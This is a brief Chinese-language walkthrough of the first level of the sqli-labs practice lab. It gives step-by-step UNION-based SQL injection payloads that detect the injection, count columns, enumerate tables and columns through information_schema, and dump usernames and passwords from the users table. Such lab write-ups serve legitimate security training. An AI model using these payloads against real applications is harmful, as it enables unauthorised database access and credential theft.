一.sqli—labs 第一关
1.1 判断是否有sql注入
我们输入?id=1 通过不同的值不同 返回的数据也不同 所以 我们输入的?id=1是带到数据库查询的
1.2接下来我们判断sql语句是否是拼接 是字符型还是数字型 id=1‘ 是错误的在id=1的后面 加上 and 1=1
1.3所以我们根据结果判断它是字符型 且存在sql漏洞 页面有回显 我们可以先用 order by 查询他有几个字段 如果报错就是超过列数,如果显示正常就是没有超出列数
?id=1' order by 3--+
1.4 然后用联合查询 查询他的显示位 可以看到 是2跟3
?id=1' union select 1,2,3--+
1.5接下来就是获取他的数据库版本跟库名
?id=-1' union select 1,database(),version()--+
1.6然后爆出的他的数据库的表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
1.7爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容
语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
1.8通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个’~‘可以隔一下账户和密码。
?id=-1' union select 1,2,group_concat(username ,'~' , password) from users--+
后面慢慢补qwq